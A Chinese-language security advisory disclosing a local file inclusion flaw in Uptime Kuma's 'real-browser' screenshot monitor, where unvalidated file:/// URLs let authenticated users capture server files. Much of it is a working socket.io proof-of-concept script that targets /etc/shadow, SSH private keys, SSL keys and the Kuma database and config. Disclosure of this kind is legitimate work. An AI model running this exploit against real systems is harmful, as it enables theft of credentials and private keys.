Real-Browser 监控中的不当 URL 处理导致本地文件包含 (LFI)一个不当的 URL 处理漏洞允许攻击者通过利用 file:/// 协议访问服务器上的敏感本地文件。该漏洞通过 "real-browser" 请求类型触发,该类型会截取攻击者提供的 URL 的屏幕截图。通过提供本地文件路径(例如 file:///etc/passwd),攻击者可以读取服务器上的敏感数据。
该漏洞的产生原因是系统未对 URL 字段的用户输入进行适当的验证或清理。具体如下:
URL 输入字段(<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">)允许用户输入任意文件路径,包括使用 file:/// 协议的路径,且缺乏服务器端验证。
随后,服务器使用用户提供的 URL 发起请求,将其传递给浏览器实例执行 "real-browser" 请求,该请求会截取指定 URL 内容的屏幕截图。如果输入的是本地文件路径(例如 file:///etc/passwd),浏览器会获取并捕获文件内容。
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
由于用户输入未经验证,攻击者可以操控 URL 来请求本地文件(例如 file:///etc/passwd),系统将截取文件内容的屏幕截图,从而可能泄露敏感数据。
view-source:file:///etc/passwd。示例 PoC:
const { io } = require("socket.io-client");
// 服务器配置和凭据
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// Linux 系统上的敏感文件列表
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // 可能因发行版而异
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma 数据库文件
"/app/data/config.json" // Uptime Kuma 配置文件
];
// 发送请求并等待响应的函数
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`文件 ${filePath} 的响应:`, res);
resolve();
});
});
}
// 连接并发送 'add' 请求的主函数
(async () => {
const socket = io(CONFIG.serverUrl);
// 处理连接错误
socket.on("connect_error", (err) => {
console.error("连接失败:", err.message);
});
try {
// 使用凭据连接
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("连接成功");
resolve();
} else {
console.log(res);
reject(new Error("连接失败"));
}
});
});
// 使用 Promise.all 发送每个文件的请求以确保同步
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// 等待所有请求发送完毕
await Promise.all([...realBrowserRequests]);
// 所有请求发送后关闭 socket
socket.close();
console.log("所有请求发送完毕,连接已关闭。");
} catch (error) {
console.error("错误:", error.message);
socket.close();
}
})();
该漏洞是一个本地文件包含 (LFI) 问题,允许攻击者访问并可能泄露服务器上的敏感文件。影响重大,因为攻击者可以访问关键系统文件或应用程序配置文件,例如:
/etc/passwd:包含用户账户信息。/etc/shadow:包含密码哈希。/app/data/kuma.db:包含 Uptime Kuma 监控工具的数据库。/app/data/config.json:包含 Uptime Kuma 的数据库凭据。任何经过身份验证的用户如果能够在 "real-browser" 模式下提交 URL,都可能面临通过文件屏幕截图泄露敏感数据的风险。